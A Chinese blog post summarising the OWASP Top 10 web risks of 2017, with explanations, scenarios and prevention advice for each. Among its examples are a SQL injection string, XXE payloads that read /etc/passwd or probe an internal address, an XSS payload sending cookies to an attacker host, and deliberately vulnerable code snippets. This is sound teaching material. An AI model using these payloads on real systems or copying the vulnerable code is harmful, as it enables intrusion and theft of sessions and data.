Bu1'Blog

如果能控制粗鄙的狂喜,就不会有深入骨髓的悲伤。

0%

2017 OWASP TOP 10

前言

为了更好的学习WEB安全,最近准备从OWASP TOP 10中开始学习记录一下目前WEB方面10个危险性较高的地方,根据OWASP发布的2017版TOP10报告形成了今天这篇文章。

《OWASP Top 10》的首要目的是教导开发人员、设计人员、架构师、管理人员和企业组织,让他们认识到最严重Web应用程序安全弱点所产生的后果。 Top 10提供了防止这些高风险问题发生的基本方法,并为获得这些方法的提供了指引。

A1:2017-注入

解释

将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、 NoSQL注入、 OS注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。

一些常见的注入,包括: SQL、 OS命令、 ORM、 LDAP和表达式语言(EL)或OGNL注入。所有解释器的概念都是相同的。代码评审是最有效的检测应用程序的注入风险的办法之一,紧随其后的是对所有参数、字段、头、 cookie、 JSON和XML数据输入的彻底的DAST扫描。组织可以将SAST和DAST工具添加到CI/CD过程中,以便于在生产部署之前对现有或新检查的代码进行注入问题的预警。

容易受到攻击的点:

  • 用户提供的数据没有经过应用程序的验证、过滤或净化。

  • 动态查询语句或非参数化的调用,在没有上下文感知转义的情况下,被用于解释器。

  • 在ORM搜索参数中使用了恶意数据,这样搜索就获得包含敏感或未授权的数据。

  • 恶意数据直接被使用或连接,诸如SQL语句或命令在动态查询语句、命令或存储过程中包含结构和恶意数据。

案例

  • 场景一:应用程序在下面存在脆弱性的SQL语句的构造中使用不可信数据:

    1
    String query = "SELECT * FROM accounts WHEREcustID='" + request.getParameter("id") + "'“;
  • 场景二:同样的,框架应用的盲目信任,仍然可能导致查询语句的漏洞。(例如: Hibernate查询语言(HQL)):

    1
    Query HQLQuery = session.createQuery("FROM accountsWHERE custID='" + request.getParameter("id") + "'");

    在上面的两个场景中,如果攻击者将”id”参数的值修改成‘or’ 1‘=’1,如:

    1
    http://example.com/app/accountView?id=' or '1'='1

    这样的查询语句的意义就变成了了从accounts表中返回所有的记录。更危险的攻击可能导致数据被篡改甚至是存储过程被调用。

预防

防止注入漏洞需要将数据与命令语句、查询语句分隔开来。

  • 最佳选择是使用安全的API,完全避免使用解释器,或提供参数化界面的接口,或迁移到ORM或实体框架。

    注意: 当参数化时,存储过程仍然可以引入SQL注入,如果PL/SQL或T-SQL将查询和数据连接在一起,或者执行带有立即执行或exec()的恶意数据。

  • 使用正确的或“白名单”的具有恰当规范化的输入验证方法同样会有助于防止注入攻击,但这不是一个完整的防御,因为许多应用程序在输入中需要特殊字符,例如文本区域或移动应用程序的API。

  • 对于任何剩余的动态查询,可以使用该解释器的特定转义语法转义特殊字符。 OWASP的Java Encoder和类似的库提供了这样的转义例程。

    注意: SQL结构,比如:表名、列名等无法转义,因此用户提供的结构名是非常危险的。这是编写软件中的一个常见问题。

  • 在查询中使用LIMIT和其他SQL控件,以防止在SQL注入时大量地泄露记录。

A2:2017-失效的身份认证

解释

通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。确认用户的身份、身份验证和会话管理非常重要,这些措施可用于将恶意的未经身份验证的攻击者与授权用户进行分离。

容易受到攻击的点:

  • 允许凭证填充,这使得攻击者获得有效用户名和密码的列表。
  • 允许暴力破解或其他自动攻击。
  • 允许默认的、弱的或众所周知的密码,例如“Password1”或“admin/admin” 。
  • 使用弱的或失效的验证凭证,忘记密码程序,例如“基于知识的答案”,这是不安全的。
  • 使用明文、加密或弱散列密码(参见: A3:2017-敏感数据泄露)。
  • 缺少或失效的多因素身份验证。
  • 暴露URL中的会话ID(例如URL重写)。
  • 在成功登录后不会更新会话ID。
  • 不正确地使会话ID失效。当用户不活跃的时候,用户会话或认证。
  • 令牌(特别是单点登录(SSO)令牌)没有正确注销或失效。

案例

  • 场景一: 凭证填充,使用已知密码的列表,是常见的攻击。如果应用程序不限制身份验证尝试,则可以将应用程序用作密码oracle,以确定凭证是否有效。
  • 场景二:大多数身份验证攻击都是由于使用密码作为唯一的因素。依据最佳实践,最新的密码轮换和复杂性要求鼓励用户使用、重用以及重用弱密码。 建议组织在NIST-800-63中停止这些实践,并使用多因素身份验证。
  • 场景三:应用会话超时设置不正确。用户使用公共计算机访问应用程序。用户直接关闭浏览器选项卡就离开,而不是选择“注销”。攻击者一小时后使用同一个浏览器浏览网页,而当前用户状态仍然是经过身份验证的。

预防

  • 在可能的情况下,实现多因素身份验证,以防止自动、凭证填充、暴力破解和被盗凭据再利用攻击。
  • 不要使用发送或部署默认的凭证,特别是管理员用户。
  • 执行弱密码检查,例如测试新或变更的密码,以纠正“排名前10000个弱密码” 列表。
  • 将密码长度、复杂性和循环策略与NIST-800-63 B的指导方针的5.1.1章节-记住秘密,或其他现代的基于证据的密码策略相一致。
  • 确认注册、凭据恢复和API路径,通过对所有输出结果使用相同的消息,用以抵御账户枚举攻击。
  • 限制或逐渐延迟失败的登录尝试。记录所有失败信息并在凭据填充、暴力破解或其他攻击被检测时提醒管理员。
  • 使用服务器端安全的内置会话管理器,在登录后生成高度复杂的新随机会话ID。会话ID不能在URL中,可以安全地存储和当登出、闲置、绝对超时后使其失效。

A3:2017-敏感数据泄露

解释

许多Web应用程序和API都无法正确保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者可
以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。未加密的敏感数据
容易受到破坏,因此,我们需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据
以及浏览器的交互数据。

首先你需要确认的是哪些数据是敏感数据(包含:传输过程中的数据、存储数据)而需要被加密。例如:密码、信用卡卡号、医疗记录、个人信息应该被加密,特别是隐私法律或条例中规定需要加密的数据,如:欧盟《通用数据保护条例》 (GDPR)、 属于“金融数据保护条例”的《支付卡行业数据安全标准》 (PIC
DSS)。对于这些数据,要确定:

  • 在数据传输过程中是否使用明文传输?这和传输协议相关,如:HTTP、 SMTP和FTP。外部网络流量非常危险。验证所有的内部通信,如:负载平衡器、 Web服务器或后端系统之间的通信。
  • 当数据被长期存储时,无论存储在哪里,它们是否都被加密,包含备份数据?
  • 无论默认条件还是源代码中,是否还在使用任何旧的或脆弱的加密算法?
  • 是否使用默认加密密钥,生成或重复使用脆弱的加密密钥,或者缺少恰当的密钥管理或密钥回转?
  • 是否强制加密敏感数据,例如:用户代理(如:浏览器)指令和传输协议是否被加密?
  • 用户代理(如:应用程序、邮件客户端)是否未验证服务器端证书的有效性?

案例

  • 场景一:一个应用程序使用自动化的数据加密系统加密信用卡信息,并存储在数据库中。但是,当数据被检索时被自动解密,这就使得SQL注入漏洞能够以明文形式获得所有信用卡卡号。
  • 场景二:一个网站上对所有网页没有使用或强制使用TLS,或者使用弱加密。攻击者通过监测网络流量(如:不安全的无线网络),将网络连接从HTTPS降级到HTTP,就可以截取请求并窃取用户会话的cookie。 之后,攻击者可以复制用户cookie并成功劫持经过认证的用户会话、访问或修改用户个人信息。除此之外,攻击者还可以更改所有传输过程中的数据,例如:转款的接接收者。
  • 场景三:密码数据库使用未加盐的哈希算法或弱哈希算法去存储每个人的密码。一个文件上传漏洞使黑客能够获取密码文件。所有这些未加盐哈希的密码通过彩虹表暴力破解方式破解。 由简单或快速散列函数生成加盐的哈希,也可以通过GPU破解。

预防

对一些需要加密的敏感数据,应该起码做到以下几点:

  • 对系统处理、存储或传输的数据分类,并根据分类进行访问控制。
  • 熟悉与敏感数据保护相关的法律和条例,并根据每项法规要求保护敏感数据。
  • 对于没必要存放的、重要的敏感数据,应当尽快清除,或者通过PCI DSS标记或拦截。未存储的数据不能被窃取。
  • 确保存储的所有敏感数据被加密。
  • 确保使用了最新的、强大的标准算法或密码、参数、协议和密匙,并且密钥管理到位。
  • 确保传输过程中的数据被加密,如:使用TLC。确保数据加密被强制执行,如:使用HTTP严格安全传输协议(HSTS )。
  • 禁止缓存对包含敏感数据的响应。
  • 确保使用密码专用算法存储密码,如: Argon2 、 scrypt 、bcrypt 或者PBKDF2 。将工作因素(延迟因素)设置在可接受范围。
  • 单独验证每个安全配置项的有效性。

A4:2017-XML 外部实体(XXE)

解释

许多较早的或配置错误的XML处理器评估了XML文件中的外部实体引用。攻击者可以利用外部实体窃
取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻
击。

应用程序和特别是基于XML的Web服务或向下集成,可能在以下方面容易受到攻击:

  • 您的应用程序直接接受XML文件或者接受XML文件上传,特别是来自不受信任源的文件,或者将不受信任的数据插入XML文件,并提交给XML处理器解析。
  • 在应用程序或基于Web服务的SOAP中,所有XML处理器都启用了文档类型定义(DTDs) 。因为禁用DTD进程的确切机制因处理器而不同。
  • 如果为了实现安全性或单点登录(SSO),您的应用程序使用SAML进行身份认证。而SAML使用XML进行身份确认,那么您的应用程序就容易受到XXE攻击。
  • 如果您的应用程序使用第1.2版之前的SOAP,并将XML实体传递到SOAP框架,那么它可能受到XXE攻击。
  • 存在XXE缺陷的应用程序更容易受到拒绝服务攻击,包括:Billion Laughs 攻击。

案例

大量XXE缺陷已经被发现并被公开,这些缺陷包括嵌入式设备的XXE缺陷。 XXE缺陷存在于许多意想不到的地方,这些地方包括深嵌套的依赖项。最简单的方法是上传可被接受的恶意XML文件:

  • 场景一:攻击者尝试从服务端提取数据

    1
    2
    3
    4
    5
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <foo>&xxe;</foo>
  • 场景二:攻击者通过将上面的实体行更改为以下内容来探测服务器的专用网络

    1
    <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
  • 场景三:攻击者通过恶意文件执行拒绝服务攻击

    1
    <!ENTITY xxe SYSTEM "file:///dev/random" >]>

预防

开发人员培训是识别和减少XXE缺陷的关键,此外,防止XXE 缺陷还需要:

  • 尽可能使用简单的数据格式(如: JSON),避免对敏感数据进行序列化。
  • 及时修复或更新应用程序或底层操作系统使用的所有XML处理器和库。同时,通过依赖项检测,将SOAP更新到1.2版本或更高版本。
  • 参考《OWASP Cheat Sheet ‘XXE Prevention‘ 》 ,在应用程序的所有XML解析器中禁用XML外部实体和DTD进程。
  • 在服务器端实施积极的(“白名单”)输入验证、过滤和清理,以防止在XML文档、标题或节点中出现恶意数据。
  • 验证XML或XSL文件上传功能是否使用XSD验证或其他类似验证方法来验证上传的XML文件。

尽管在许多集成环境中,手动代码审查是大型、复杂应用程序的最佳选择,但是SAST 工具可以检测源代码中的XXE漏洞。如果无法实现这些控制,请考虑使用虚拟修复程序、 API安全网关或Web应用程序防火墙(WAF )来检测、监控和防止XXE攻击。

A5:2017-失效的访问控制

解释

未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

访问控制强制实施策略,使用户无法在其预期的权限之外执行行为。失败的访问控制通常导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。常见的访问控制脆弱点包括:

  • 通过修改 URL、内部应用程序状态或 HTML 页面绕过访问控制检查,或简单地使用自定义的API攻击工具。
  • 允许将主键更改为其他用户的记录,例如查看或编辑他人的帐户。
  • 特权提升。在不登录的情况下假扮用户,或以用户身份登录时充当管理员。
  • 元数据操作,如重放或篡改JWT访问控制令牌,或作以提升权限的cookie 或隐藏字段。
  • CORS配置错误允许未授权的API访问。
  • 以未通过身份验证的用户身份强制浏览的通过身份验证时才能看到的页面、或作为标准用户访问具有相关权限的页面、或API没有对POST、 PUT和DELETE强制执行访问控制。

案例

  • 场景一:应用程序在访问帐户信息的 SQL调用中使用了未经验证的数据

    1
    2
    pstmt.setString(1,request.getParameter("acct"));
    ResultSet results = pstmt.executeQuery( );

    攻击者只需修改浏览器中的“acct”参数即可发送他们想要的任帐号信息。如果没有正确验证,攻击者可以访问任何用户的帐户。

    1
    http://example.com/app/accountInfo?acct=notmyacct
  • 场景二:攻击者仅强制浏览目标URL。管理员权限是访问管理页面所必需的。

    1
    2
    3
    http://example.com/app/getappInfo
    http://example.com/app/admin_getappInfo

    如果一个未经身份验证的用户可以访问任何页面,那么这是一个缺陷。如果一个非管理员权限的用户可以访问管理页面,那么这同样也是一个缺陷。

预防

访问控制只有在受信服务器端代码或没有服务器的 API 中有效,这样这样攻击者才无法修改访问控制检查或元数据。

  • 除公有资源外,默认情况下拒绝访问。

  • 使用一次性的访问控制机制,并在整个应用程序中不断重用它们,包括最小化CORS使用。

  • 建立访问控制模型以强制执行所有权记录,而不是接受用户创建、读取、更新或删除的任何记录。

  • 域访问控制对每个应用程序都是唯一的,但业务限制要求应由域模型强制执行。

  • 禁用 Web服务器目录列表,并确保文件元数据(如: git)不存在于Web的根目录中。

  • 记录失败的访问控制,并在适当时向管理员告警(如:重复故障)。

  • 对API和控制器的访问进行速率限制,以最大限度地降低自动化攻击工具的危害。

  • 当用户注销后,服务器上的JWT令牌应失效。

  • 开发人员和 QA人员应包括功能访问控制单元和集成测试人员。

A6:2017-安全配置错误

解释

安全配置错误是最常见的安全问题,这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的。因此,我们不仅需要对所有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级它们。

容易受到攻击的点:

  • 应用程序栈堆的任何部分都缺少适当的安全加固,或者云服务的权限配置错误。
  • 应用程序启用或安装了不必要的功能(例如:不必要的端口、服务、网页、帐户或权限)。
  • 默认帐户的密码仍然可用且没有更改。
  • 错误处理机制向用户披露堆栈跟踪或其他大量错误信息。
  • 对于更新的系统,禁用或不安全地配置最新的安全功能。
  • 应用程序服务器、应用程序框架(如: Struts、 Spring、ASP.NET)、库文件、数据库等没有进行安全配置。
  • 服务器不发送安全标头或指令,或者未对服务器进行安全配置。
  • 您的应用软件已过期或易受攻击(参见A9: 2017-使用含有已知漏洞的组件)。
  • 缺少一个体系的、可重复的应用程序安全配置过程,系统将处于高风险中。

案例

  • 场景一:应用程序服务器附带了未从产品服务器中删除的应用程序样例。这些样例应用程序具有已知的安全漏洞,攻击者利用这些漏洞来攻击服务器。如果其中一个应用程序是管理员控制台,并且没有更改默认账户,攻击者就可以通过默认密码登录,从而接管服务器。
  • 场景二:目录列表在服务器端未被禁用。攻击者发现他们很容易就能列出目录列表。攻击者找到并下载所有已编译的Java类,他们通过反编译来查看代码。然后,攻击者在应用程序中找到一个严重的访问控制漏洞。
  • 场景三:应用服务器配置允许将详细的错误信(如:堆栈跟踪信息)返回给用户,这可能会暴露敏感信息或潜在的漏洞,如:已知含有漏洞的组件的版本信息。
  • 场景四:云服务向其他CSP用户提供默认的网络共享权限。这允许攻击者访问存储在云端的敏感数据。

预防

应实施安全的安装过程,包括:

  • 一个可以快速且易于部署在另一个锁定环境的可重复的加固过程。开发、质量保证和生产环境都应该进行相同配置,并且,在每个环境中使用不同的密码。这个过程应该是自动化的,以尽量减少安装一个新安全环境的耗费。

  • 搭建最小化平台,该平台不包含任何不必要的功能、组件、文档和示例。移除或不安装不适用的功能和框架。

  • 检查和修复安全配置项来适应最新的安全说明、更新和补丁,并将其作为更新管理过程的一部分,(参见A9: 2017-使用含有已知漏洞的组件)。在检查过程中,应特别注意云存储权限(如:S3桶权限)。

  • 一个能在组件和用户间提供有效的分离和安全性的分段应用程序架构,包括:分段、容器化和云安全组

  • 向客户端发送安全指令,如: 安全标头。

  • 在所有环境中能够进行正确安全配置和设置的自动化过程。

A7:2017-跨站脚本(XSS)

解释

当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建 HTML或JavaScript 的浏览器 API 更新现有的网页时,就会出现 XSS 缺陷。 XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。

存在三种XSS类型,通常针对用户的浏览器:

  • 反射式XSS: 应用程序或API包括未经验证和未经转义的用户输入,作为HTML输出的一部分。一个成功的攻击可以让攻击者在受害者的浏览器中执行任意的HTML和JavaScript。 通常,用户将需要与指向攻击者控制页面的某些恶意链接进行交互,例如恶意漏洞网站,广告或类似内容。
  • 存储式XSS: 你的应用或者API将未净化的用户输入存储下来了,并在后期在其他用户或者管理员的页面展示出来。 存储型XSS一般被认为是高危或严重的风险。
  • 基于DOM的XSS: 会动态的将攻击者可控的内容加入页面的JavaScript框架、单页面程序或API存在这种类型的漏洞。理想的来说,你应该避免将攻击者可控的数据发送给不安全的JavaScript API。典型的XSS攻击可导致盗取session、账户、绕过MFA、 DIV替换、对用户浏览器的攻击(例如:恶意软件下载、键盘记录)以及其他用户侧的攻击。

案例

  • 场景一: 应用程序在下面HTML代码段的构造中使用未经验证或转义的不可信的数据

    1
    2
    3
    (String) page += "<input name='creditcard' type='TEXT‘ 
    value='" + request.getParameter("CC“) + "'>";

    攻击者在浏览器中修改“CC”参数为如下的值:

    1
    2
    3
    4
    '><script>document.location=
    'http://www.attacker.com/cgi-bin/cookie.cgi?
    foo='+document.cookie</script>'.

    这个攻击导致受害者的会话ID被发送到攻击者的网站, 使得攻击者能够劫持用户当前会话。

    注意:攻击者同样能使用跨站脚本攻破应用程序可能使用的任何跨站请求伪造(CSRF) 防御机制。 CSRF的详细情况见2013年版中的A8项。

预防

防止XSS需要将不可信数据与动态的浏览器内容区分开。 这可以通过如下步骤实现:

  • 使用设计上就会自动编码来解决XSS问题的框架,如: Ruby 3.0或 React JS。了解每个框架的XSS保护的局限性,并适当地处理未覆盖的用例。

  • 为了避免反射式或存储式的XSS漏洞,最好的办法是根据HTML输出的上下文(包括:主体、属性、 JavaScript、 CSS或URL)对所有不可信的HTTP请求数据进行恰当的转义 。 更多关于数据
    转义技术的信息见: 《OWASP Cheat Sheet ‘XSS Prevention’》。

  • 在客户端修改浏览器文档时,为了避免DOM XSS攻击,最好的选择是实施上下文敏感数据编码。 如果这种情况不能避免,可以采用《OWASP Cheat Sheet ‘DOM based XSS Prevention ‘》描述的类似上下文敏感的转义技术应用于浏览器API。

  • 使用内容安全策略(CSP) 是对抗XSS的深度防御策略。如果不存在可以通过本地文件放置恶意代码的其他漏洞(例如:路径遍历覆盖和允许在网络中传输的易受攻击的库),则该策略是有效的。

A8:2017-不安全的反序列化

解释

不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行,攻击者也可以利用它们来执行攻击,包括:重播攻击、注入攻击和特权升级攻击。

如果反序列化进攻者提供的敌意或者篡改过的对象将会使将应用程序和API变的脆弱。这可能导致两种主要类型的攻击:

  • 如果应用中存在可以在反序列化过程中或者之后被改变行为的类,则攻击者可以通过改变应用逻辑或者实现远程代码执行攻击。我们将其称为对象和数据结构攻击。
  • 典型的数据篡改攻击,如访问控制相关的攻击,其中使用了现有的数据结构,但内容发生了变化。在应用程序中,序列化可能被用于:
    • 远程和进程间通信(RPC / IPC)
    • 连线协议、 Web服务、消息代理
    • 缓存/持久性
    • 数据库、缓存服务器、文件系统
    • HTTP cookie、 HTML表单参数、 API身份验证令牌

案例

  • 场景一:一个React应用程序调用了一组Spring Boot微服务。作为功能性程序员,他们试图确保他们的代码是不可变的。他们提出的解决方法是序列化用户状态,并在每次请求时来回传递。攻击者注意了“R00” Java对象签名,并使用Java Serial Killer工具在应用服务器上获得远程代码执行。

  • 场景二:一个PHP论坛使用PHP对象序列化来保存一个“超级” cookie。该cookie包含了用户的用户ID、角色、密码哈希和其他状态:

    1
    2
    3
    a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
    i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

    攻击者更改序列化对象以授予自己为admin权限:

    1
    2
    3
    a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
    i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

预防

唯一安全的架构模式是不接受来自不受信源的序列化对象,或使用只允许原始数据类型的序列化媒体。
如果上述不可能的话,考虑使用下述方法:

  • 执行完整性检查,如:任何序列化对象的数字签名,以防止恶意对象创建或数据篡改。

  • 在创建对象之前强制执行严格的类型约束,因为代码通常被期望成一组可定义的类。绕过这种技术的方法已经被证明,所以完全依赖于它是不可取的。

  • 如果可能,隔离运行那些在低特权环境中反序列化的代码。

  • 记录反序列化的例外情况和失败信息,如:传入的类型不是预期的类型,或者反序列处理引发的例外情况。

  • 限制或监视来自于容器或服务器传入和传出的反序列化网络连接。

  • 监控反序列化,当用户持续进行反序列化时,对用户进行警告。

A9:2017-使用含有已知漏洞的组件

解释

组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏
洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管。同时,使用含有已知漏洞的组
件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响。

容易受到攻击的点:

  • 如果你不知道所有使用的组件版本信息(包括:服务端和客户端)。这包括了直接使用的组件或其依赖的组件。
  • 如果软件易受攻击,不再支持或者过时。这包括: OS、 Web服务器、应用程序服务器、数据库管理系统(DBMS)、应用程序、API和所有的组件、运行环境和库。
  • 如果你不会定期做漏洞扫描和订阅你使用组件的安全公告。
  • 如果你不基于风险并及时修复或升级底层平台、框架和依赖库。很可能发生这种情况:根据变更控制,每月或每季度进行升级,这使得组织在这段时间内会受到已修复但未修补的漏洞的威胁。
  • 如果软件工程师没有对更新的、升级的或打过补丁的组件进行兼容性测试。
  • 如果你没有对组件进行安全配置(请参考“A6:2017-安全配置错误”)。

案例

  • 场景一:很多时候组件都是以与应用相同的权限运行的,这使得组件里的缺陷可能导致各式各样的问题。这些缺陷可能是偶然的(如:编码错误),也可能是蓄意的(如:组件里的后门)。下面是一些已被利用的漏洞:
    • CVE-2017-5638,一个Struts2远程执行漏洞。 可在服务端远程执行代码,并已造成巨大的影响。
    • 虽然物联网(IoT) 设备一般难以通过打补丁来修复。但对之打补丁非常重要(如:医疗设备)。

有些自动化工具能帮助攻击者发现未打补丁的或配置不正确的系统。例如 : Shodan IOT搜索引擎能帮助你发现从2014年四月至今仍存在心脏出血漏洞 的设备。

预防

应该制定一个补丁管理流程:

  • 移除不使用的依赖、不需要的功能、组件、文件和文档。
  • 利用如 versions、 DependencyCheck 、 retire.js等工具来持续的记录客户端和服务器端以及它们的依赖库的版本信息。持续监控如CVE 和 NVD等是否发布已使用组件的漏洞信息,可以使用软件分析工具来自动完成此功能。订阅关于使用组件安全漏洞的警告邮件。
  • 仅从官方渠道安全的获取组件,并使用签名机制来降低组件被篡改或加入恶意漏洞的风险。
  • 监控那些不再维护或者不发布安全补丁的库和组件。如果不能打补丁,可以考虑部署虚拟补丁来监控、检测或保护。
  • 每个组织都应该制定相应的计划,对整个软件生命周期进行监控、评审、升级或更改配置。

A10:2017-不足的日志记录和监控

解释

不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者能够进一步攻击系统、保持持
续性或转向更多系统,以及篡改、提取或销毁数据。大多数缺陷研究显示,缺陷被检测出的时间超
过200天,且通常通过外部检测方检测,而不是通过内部流程或监控检测。

下列情况会导致不足的日志记录、检测、监控和响应:

  • 未记录可审计性事件,如:登录、登录失败和高额交易。

  • 告警和错误事件未能产生或产生不足的和不清晰的日志信息。

  • 没有利用应用系统和API的日志信息来监控可疑活动。

  • 日志信息仅在本地存储。

  • 没有定义合理的告警阈值和制定响应处理流程。

  • 渗透测试和使用DAST工具(如: OWASP ZAP)扫描没有触发告警

  • 对于实时或准实时的攻击,应用程序无法检测、处理和告警。

如果你的应用使得日志信息或告警信息对用户或者攻击者可见,你就很容易遭受信息泄露攻击(请参考 A3: 2017-敏感信息泄露)

案例

  • 场景一:一个由小团队运营的开源项目论坛软件被攻击者利用其内在漏洞攻陷了。 攻击者设法删除了包含下一个版本的内部源代码仓库以及所有论坛内容。 虽然代码可以恢复,但由于缺乏监控、日志记录和告警导致了更糟糕的结果。 由于此问题,该论坛软件项目不再活跃。
  • 场景二:攻击者使用通用密码进行用户扫描并能获取所有使用此密码的账户。对于其他账户而言,将仅有一次失败的登陆尝试记录。一段时间以后,攻击者可以用另一个密码再次进行此活动。
  • 场景三:美国的一家大型零售商据内部使用恶意软件分析沙箱做分析。 沙箱软件检测到了一些可能不需要的软件,但没有人响应此次检测。 在一个境外银行不正当的信用卡交易被检测到之前,该沙箱软件一直在产生告警信息。

预防

根据应用程序存储或处理的数据的风险: :

  • 确保所有登录、访问控制失败、输入验证失败能够被记录到日志中去,并保留足够的用户上下文信息,以识别可疑或恶意帐户,并为后期取证预留足够时间。
  • 确保日志以一种能被集中日志管理解决方案使用的形式生成
  • 确保高额交易有完整性控制的审计信息,以防止篡改或删除,例如审计信息保存在只能进行记录增加的数据库表中。
  • 建立有效的监控和告警机制,使可疑活动在可接受的时间内被发现和应对。
  • 建立或采取一个应急响应机制和恢复计划,例如: NIST 800-61 rev 2或更新版本。目前已有商业的和开源的应用程序防护框架(例如: OWASP AppSensor)、 Web应用防火墙(例如 : Modsecurity with theOWASP Core Rule Set)、带有自定义仪表盘和告警功能的日志关联软件。

总结

最后再总结一遍OWASP发布的2017版10大最严重的WEB应用风险。

  • A1注入
  • A2失效的身份认证
  • A3敏感信息泄露
  • A4XML外部实体注入(XXE)
  • A5失效的访问控制
  • A6安全配置错误
  • A7跨站脚本(XXS)
  • A8不安全的反序列化
  • A9使用已知漏洞的组件
  • A10不足的日志记录和监控